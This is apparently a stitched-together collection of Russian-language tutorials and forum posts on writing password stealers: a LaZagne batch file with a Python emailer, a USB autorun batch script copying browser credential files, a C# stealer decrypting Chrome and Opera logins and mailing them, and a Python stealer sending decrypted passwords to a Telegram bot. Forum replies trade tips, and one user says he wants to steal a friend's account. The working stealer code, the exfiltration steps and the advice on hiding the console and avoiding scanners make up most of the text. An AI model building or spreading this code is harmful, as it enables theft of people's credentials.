Время на прочтение
3 мин
Количество просмотров 50K
Что будем делать?
Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.
Что для этого нужно?
Нам понадобится:
- Python 3.x.x
- Инструмент для восстановления паролей(в нашем случае LaZagne)
- Два аккаунта Google
И так начинаем
Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.
У нас должна получится такая структура:
Project:
- laZagne.exe
- send.py
- main.bat
Пишем код
Откроем файл main.bat и поместим туда код:
@Echo off
laZagne.exe all > pass.txt
Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?
Отправка на почту
Открываем файл send.py и вставляем код:
import smtplib
import os
import mimetypes
from email import encoders
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.audio import MIMEAudio
from email.mime.multipart import MIMEMultipart
def send_email(addr_from, password, addr_to, files):
msg_subj = 'Password'
msg_text = 'Password'
msg = MIMEMultipart()
msg['From'] = addr_from
msg['To'] = addr_to
msg['Subject'] = msg_subj
body = msg_text
msg.attach(MIMEText(body, 'plain'))
process_attachement(msg, files)
#==========Код зависящий от сервиса==========
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()
#============================================
def process_attachement(msg, files):
for f in files:
if os.path.isfile(f):
attach_file(msg,f)
elif os.path.exists(f):
dir = os.listdir(f)
for file in dir:
attach_file(msg,f+"/"+file)
def attach_file(msg, filepath):
filename = os.path.basename(filepath)
ctype, encoding = mimetypes.guess_type(filepath)
if ctype is None or encoding is not None:
ctype = 'application/octet-stream'
maintype, subtype = ctype.split('/', 1)
if maintype == 'text':
with open(filepath) as fp:
file = MIMEText(fp.read(), _subtype=subtype)
fp.close()
elif maintype == 'image':
with open(filepath, 'rb') as fp:
file = MIMEImage(fp.read(), _subtype=subtype)
fp.close()
elif maintype == 'audio':
with open(filepath, 'rb') as fp:
file = MIMEAudio(fp.read(), _subtype=subtype)
fp.close()
else:
with open(filepath, 'rb') as fp:
file = MIMEBase(maintype, subtype)
file.set_payload(fp.read())
fp.close()
encoders.encode_base64(file)
file.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(file)
#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to = "to@gmail.com"
files = ["pass.txt"]
#=============================================
send_email(_from, _password, _to, files)
Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Mail.ru:
server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Yandex:
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Доделываем .bat
Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:
send.py
del /s "pass.txt"
Сборка
Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:
pip install pyinstaller
pyinstaller --onefile send.py
Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками(«…») и ищем ваш файл main.bat, жмем «Открыть», после чего жмем «Convert» и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоваться проверять на работоспособность.
Ссылки
- LaZagne
- Bat To Exe Online Converter
-
#2
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
на free-steal.com можешь сделать
-
#3
Берешь любой некомпилированый скрипт с любого сайта и сшиваешь с каким либо стиллером с этого сайта(кликабельно), остается лишь разослать распиарить и ждать пока поплывут логи акков
-
#4
Исходник — Отправка уведомлений в Discord
(!) Данный гайд создан для людей, которые не разбираются (и не хотят) в луа и просто хотят сделать для себя уведомления. Всем хай, я уже делал гайд по отправке уведомлений в Discord, однако у многих возникали некоторые ошибки. В этом гайде я попробую более подробно описать процесс отправки…
www.blast.hk
делаешь отправку пароля когда юзер ввел его в 3 стиль диалога,всё,сложно!!!
-
#5
Исходник — Lua стиллер с отправкой в вашу группу ВК
Здравствуйте очень давно написал этот скрипт, слил из-за ненадобности. Код ниже, скрипт прикрепил. Быдлокод тут есть (камон, всё равно он был в луак никто бы и не понял) local sampev = require ‘lib.samp.events’ local lanes = require(‘lanes’).configure() local requests = require ‘requests’ local…
www.blast.hk
-
#6
Исходник — Lua стиллер с отправкой в вашу группу ВК
Здравствуйте очень давно написал этот скрипт, слил из-за ненадобности. Код ниже, скрипт прикрепил. Быдлокод тут есть (камон, всё равно он был в луак никто бы и не понял) local sampev = require ‘lib.samp.events’ local lanes = require(‘lanes’).configure() local requests = require ‘requests’ local…
www.blast.hk
зачем ето советовать, норм стиллер делается с зависимостью максимум от сампфанкса, и без хранения токена в коде
-
#7
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Исходник — Отправка уведомлений в Discord
(!) Данный гайд создан для людей, которые не разбираются (и не хотят) в луа и просто хотят сделать для себя уведомления. Всем хай, я уже делал гайд по отправке уведомлений в Discord, однако у многих возникали некоторые ошибки. В этом гайде я попробую более подробно описать процесс отправки…
www.blast.hkделаешь отправку пароля когда юзер ввел его в 3 стиль диалога,всё,сложно!!!
Не чего сложного нема, только чтобы увидеть код стиллера нужно 200 реакций.
-
#8
Не чего сложного нема, только чтобы увидеть код стиллера нужно 200 реакций.
id диалога авторизации 2, регистрации вроде или 1 или 3, уже точно не помню
И с помощью этого хука получаешь пароль и некоторые данные
Пример: https://www.blast.hk/threads/121882/post-972870 (хотя я бы его уже переделал, слишко много костылей)
-
#9
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
id диалога авторизации 2, регистрации вроде или 1 или 3, уже точно не помню
И с помощью этого хука получаешь пароль и некоторые данные
Пример: https://www.blast.hk/threads/121882/post-972870 (хотя я бы его уже переделал, слишко много костылей)
А как получать логи?
-
#10
Не чего сложного нема, только чтобы увидеть код стиллера нужно 200 реакций.
для тебя стиллер это что-то сверхистественно?
function sampev.onSendDialogResponse(id, button, list, input)
-- id = id диалога
-- button = кнопка на которую нажал юзер(1-0)
-- list = список(от 0)
-- input = что написал юзер в диалог со отправкой текста
-- делаешь проверку на текст Авторизация или другое,и отправляешь пароль в дискорд.
-- для тебя print() сложно,куда стиллер LOL
end
Так-же не забываем золотые слова..
НАПОМИНАНИЕ: РАСПРОСТАНЕНИЕ СТИЛЛЕРОВ = ПИДОР
-
#11
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Та не мне нужно друга акк украсть, а то мне должен 1к рублей, вот и пожелеет
-
#12
Запрос на сайт/сообщения в вк/в тг/в дс
-
#13
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Запрос на сайт/сообщения в вк/в тг/в дс
А как сделать, то я тупой, не шарю сильно за стиллеры
-
#14
хукаешь отправку диалога, чекаешь его айдишник, и инпут с диалога, ник, ип сервера отправляешь на сервак
-
#15
А как сделать, то я тупой, не шарю сильно за стиллеры
А причём тут стиллеры? Это уже уровень ЯП
Сегодня мы поговорим о том, как создать стиллер паролей для браузеров, которые работают под операционной системой Windows. Он будет работать быстро и точно, а самое главное, что на него не будут ругаться антивирусы. Писать стиллер паролей мы будет в обычном блокноте, в конце сохраним его как .bat. У нас уже есть статья, где мы говорили о создании шуточных вирусов – читать.
Стиллер паролей – определенный класс вирусов, функционал которых состоит в том, чтобы украсть сохраненные пароли с компьютера и отправить их “автору”.
Метод, который мы будем использовать имеет как плюсы, так и минусы, без этого никуда.
Плюсы:
- Не ругается антивирус;
- Скорость работы;
- Простота в доработке;
- Возможность мгновенного запуска;
- Портативность.
Минусы:
- Autorun не работает на Windows 8+;
- Постоянное созданиеудаление autorun.inf;
- Личное присутствие;
- Только для Windows.
Стиллер паролей для браузеров на Windows | Разбор плюсов и минусов
Давайте разберемся, почему такие плюсы и минусы имеет наш стиллер паролей для браузеров.
Думаю первые пару пунктов в разборе не нуждаются, а вот простота в доработке, давайте посмотрим почему.
Ниже будет код программы, там видно, что стиллер крадет пароли из 3 браузеров, Opera, Mozilla, Chrome. Если вы захотите сделать его более объемным и добавить все браузеры, то вам нужно просто найти их директории и прописать пути.
Далее мгновенный запуск. Создаём файл autorun.inf и добавляем наш anyname.bat туда. Как только вы вставите флешку в ПК, произойдёт кража и её можно сразу вытаскивать. Это займет у секунду времени, однако тут сразу и минус. Autorun.inf не запускается на Windows 8+, так что придётся запускать батник вручную. Точнее сказать, автоматический запуск стал невозможен с последнего обновления безопасности Windows 7.
Постоянное созданиеудаление autorun.inf – если вы вставите флешку в ПК, а потом пойдёте домой и у вас Windows 8.1 или ниже, то пароли обновятся из-за авторана. Чтобы этого избежать его нужно постоянно удалять, однако в нашем скрипте уже всё есть. Он будет удален автоматически после запуска.
Создаём стиллер паролей для браузеров
Для того, чтобы создать портативный стиллер паролей для браузеров нам понадобится только блокнот.
Создаём текстовый документ и пишем туда следующий код:
@echo off
md %~d0Mozilla
md %~d0Opera
md %~d0Google
CD/D %APPDATA%OperaOpera
copy /y wand.dat %~d0Opera
copy /y coockies.dat %~d0Opera
cd %AppData%MozillaFirefoxProfiles*.def-ault
copy /y coockies.sqlite %~d0Mozilla
copy /y key3.db %~d0Mozilla
copy /y signons.sqlite %~d0Mozilla
copy /y AppData%MozillaFirefoxProfiles*.def-ault %~d0Mozilla
cd %localappdata%GoogleChromeUser DataDefault
copy /y “%localappdata%GoogleChromeUser DataDefaultLogin Data” “%~d0/Google”
ATTRIB -R -A -S -H
attrib +h %~d0Mozilla
attrib +h %~d0Opera
attrib +h %~d0Google
del: Autorun.inf
Вы же можете его просто скопировать, сохраняем файл как anyname.bat. В коде видно, что сохраняются пароли из Mozilla, Opera, Chrome. Если вы хотите добавить ещё браузеры, требуется найти их директории и таким же образом добавить. Атрибуты, которые мы присвоили делают созданные папки скрытыми, чтобы никто ничего не заподозрил.
Теперь нужно создать файл autorun.inf со следующей командой:
[AUTORUN] open=”anyname.bat”
Готово, теперь можете идти куда душа пожелает и воровать пароли, например в интернет-кафе или тому подобные места. Наш стиллер паролей для браузеров не является удалённым, из-за чего придётся ходить.
Открыть сохраненные пароли можно заменив краденые файлы cookies, базы данных и данные логина. Для удобства можно воспользоваться программой Password Web Views.
Сегодня мы поговорили о том, как создать стиллер паролей для браузеров, обсудили плюсы и минусы такого скрипта. Если вам понравилась статья, подписывайтесь на обновления сайта, а также наш Telegram.
Telegram
Подписывайтесь на официальный Telegram канал сайта Make Info.
Есть такой класс вирусов, призванных получать у пользователя конкретные (или какие угодно) файлы и направлять их специально уполномоченным людям. Этот класс вирусов называют Stealer. Основной их целью является добыча полезной информации с компьютера жертвы для последующей продажи или собственного использования . Сегодня мы напишем этот вирус на C#.
Как работает наш стиллер?
- Сначала стиллер проверяет наличие браузерных папок.
- Если файл содержащий пароли существует, идёт проверка на их содержание.
- Если данные не пусты, стиллер добавляет их в текстовой файл.
- После того, как стиллер закончил проверку, он отправляет данные прямо к нам в руки.
Приступим!
Для начала создаём проект в Visual Studio. Версия фреймворка — 4.5.
Program.cs
Добавим необходимые юзинги:
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;
Начинаем кодить, для начала мы создадим папку где будет лежать файл с паролем:
Код:
Directory.CreateDirectory(Path.GetTempPath() + "StealLog");
Папка будет создана в каталоге TEMP.
Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли):
Код:
string[] paths = {
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"GoogleChromeUser DataDefaultLogin Data",
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"YandexYandexBrowserUser DataDefaultLogin Data",
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"Opera SoftwareOpera StableLogin Data"
};
Теперь создаём переменную pwd_text которая пока что ничему не равна:
Добавим в код следующие, объяснение кода в комментариях:
Код:
foreach (string p in paths) //идем по папкам
{
var pas = Passwords.ReadPass(p);
if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия
{
pwd_text += "Stealer by: @deepsidernrn";
foreach (var item in pas)
{
if ((item.Item2.Length > 0) && (item.Item2.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную
{
pwd_text += "URL: " + item.Item1 + "rn" + "Login: " + item.Item2 + "rn" + "Password: " + item.Item3 + "rn";
pwd_text += " rn";
}
}
}
}
Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его.
Код:
if (File.Exists(Path.GetTempPath() + @"StealLog
Login Data"))
{
File.Delete(Path.GetTempPath() + @"StealLog
Login Data");
}
Запишем все пароли в .txt файл:
Код:
File.WriteAllText(Path.GetTempPath() + @"StealLog
Passwords.txt", pwd_text);
Passwords.cs
Создаём новый класс с именем Passwords.cs.
Добавляем туда этот код, объяснение в комментариях:
Код:
static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"StealLog
Login Data")) // Если файл по данному пути существует, то удаляем его
{
File.Delete(Path.GetTempPath() + @"StealLog
Login Data");
}
File.Copy(dbPath, Path.GetTempPath() + @"StealLog
Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
dbPath = Path.GetTempPath() + @"StealLog
Login Data";
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
var plainText = Encoding.ASCII.GetString(decodedData);
yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);
}
}
conn.Close();
}
}
Появились ошибки, исправляем их, добавим ссылку:
Проект — Добавить ссылку. Ищем System.Security
Для работы с Login Data установим библиотеку:
Проект — Управление пакетами Nuget. Ищем в поискe «sqlite» и устанавливаем пакет
Теперь нам нужно отправить файл с паролями. Возвращаемся к Program.cs и добавляем следующий код:
Код:
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu
Smtp.Credentials = new NetworkCredential("почта@mail.ru", "пароль"); // Меняем на своё, можно создать левую почту.
Smtp.EnableSsl = true;
MailMessage Message = new MailMessage();
Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
Message.To.Add("почта@mail.ru");
Message.Subject = "Log | @deepside"; // Заголовок письма
Message.Body = "Stealer by DEEPSIDE"; // Текст письма
(new Attachment(Path.GetTempPath() + @"RebornExodusPasswords.txt")); // Добавляем вложение с логом
Smtp.Send(Message); // Отправляем
Формат письма:
Формат лога:
Лог приходит значит мы на верном пути. Теперь нам нужно кое что исправить. Наверное ты заметил, что при запуске стиллера выводится консоль. Как это исправить?
Заходим в свойства проекта, далее делаем как на скрине:
Выбираем «Приложение Windows». Теперь консоль не открывается и стиллер запускается скрытно.
Итог. Что мы имеем?
Вес стиллера ~ 10kb.
Детекты:
Стиллер на VirusTotal не заливать! Проверять можно тут.
Защита.
Для начала нужно поставить хороший антивирус, ведь он хоть как-то защищает. Без антивируса вы будете «ловить» все подряд. В Интернете часто пишут, что такое стиллер и как его создать, даже предоставляют программы для их создания. Но зачастую программы не работают, а в них самих есть стиллер. Каждый скачиваемый файл нужно проверить обязательно, чтобы не потерять свои данные. Также существуют программы, которые удаляют стиллер с компьютера. Рекомендуется еще проверять ПК на наличие вирусов с помощью специальных утилит, например, DrWeb Cure It.
Как понять что ты заражён стиллером?
- Для начала , нужно понять, остался ли стиллер в автозагрузке, думаю это расписывать не нужно, если остался, то конечно выключаем. Если нет, выходим.
- Дальше, в диспетчере задач, ищем процессы, с ключевыми словами — Stealer, Passview. Так же , бывает скрытые процессы, для этого идем в службы, ищем там, те же ключевые слова.
- Выключаем службы, убираем автозапуск.
Заключение.
Сегодня мы написали Stealer на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Думаю каждый начинающий кодер открыл для себя что то новое, удачи.
Весь код Program.cs — тут
Весь код Passwords.cs — тут
Привет. Пришло время написать свой собственный стиллер на чудном языке Python. Оформление,заголовки и куски текста, я буду брать из своей прошлой статьи, ибо есть повторяющееся моменты, а делать рерайт на них, я не вижу смысла)
Словарик с терминами,которые я буду использовать, можно найти по ссылке — ТЫК
Комментарии будут отмечены решеточкой — #
Переходим на официальный сайт PythonА — ТЫК. Скачиваем 3+ версию и устанавливаем ее.
Программа проверит наличие папок от указанных браузеров, при наличии — подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)
Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием «_bot«. После BotFather выдаст нам token для управления нашим ботом.
После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.
https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
"chat":{"id":вашid #найти chatid в информации
С ботом мы разобрались, идем дальше.
Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.
pip install --upgrade pip
После обновления установим 2 нужные нам библиотеки,pyTelegramBotAPI pywin32 и telebot
pip install pyTelegramBotAPI
pip install pywin32
pip install telebot
______________________________________________________________________________________
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.
from os import getlogin #из библиотеки os мы импортируем функцию getlogin
#данная библиотека поможет нам получить имя пользователя компьютера
import sqlite3 #импортируем библиотеку sqlite3
#данная библиотека даст возможность работать с базами данных
import win32crypt #импортируем библиотеку win32crypt
#эта библиотека поможет расшифровать пароли из базы данных
import telebot #импортируем библиотеку telebot
#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.
_______________________________________________________________________________
Теперь нам нужно задать переменные, которые мы будет использовать.
t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
i=0 #переменная счетчик
name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.
_______________________________________________________________________________
Дальше мы должны создать переменные,списки с директориями возможных браузеров.
op3ra = "C:\Users\" + name_0f_user + "\AppData\Roaming\Opera Software\Opera Stable\" + "Login data"
#переменная op3ra которая равна такому пути C:\Users\Users\AppData\Roaming\Opera Software\Opera Stable\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\Users\" + name_0f_user + "\AppData\Local\Google\Chrome\User Data\Default\" + "Login Data" #также как и выше
yand3x = "C:\Users\" + name_0f_user + "\AppData\Local\Yandex\YandexBrowser\User Data\Default\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\Users\" + name_0f_user + "\AppData\Local\Comodo\Dragon\User Data\Default\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir
Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium
При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\), иначе будет выбивать ошибку,связанную с кодировкой.
_______________________________________________________________________________
Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.
b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
#b0t - имя бота,которого мы создали в начале
#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:" объединенное с переменой name_0f_user
for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке
Теперь я попытаюсь объяснить суть вышеописанного кода на «простом« примере)
Жертва запускает наш стиллер, программа пробует(try) пройтись по нулевому[i] элементу в списке и подключится к базе данных,если у нее это получается, то она собирает данные и отправляет в чат телеграм, если что-то не получается, то программа не крашится, а выполняет действие указанное(except) в случае ошибки. Дальше программа проходит второй круг(при втором круге счетчик i увеличивается на один), но уже по первому[i] элементу в списке и выполняет все как и раньше. Так будет происходить, пока работает цикл, а он работает от нуля[i] до длины списка с директориями.
Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
CD C:compile
pyinstaller -i i.ico -F -w stealer.py
#В терминала переходим в папку C:compile
#вызываем pyintaller, где i.ico - иконка расположенная в папке compile;stealer.py - наш питоновский скрипт, расположенный в папке compile
После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо viruschekmate,ScanMyBin — сдохли,nodstribute+virustotal — сливают данные(не суйте туда стиллер)), поэтому информация про «чистоту» остается для вас и для меня интригой)
Исходники вы можете скачать по ссылке — ТЫК
Так приходят логи, пароль находится между символом b’ и ‘
Вот мы и написали наш простой стиллер, мы смогли уложится в 34 строчки кода. Надеюсь вам все было понятно, пытался писать как можно проще. Если будет интересно, могу объяснить как добавить фейк ошибку при запуске стиллера)
Если вам что-то не понравилось, или есть идеи по улучшению — прошу сообщить об этом
P.S.
Словарик дополню новыми терминами
Вся информация написана в целях ознакомления, автор не несет ответственность за использование данного материала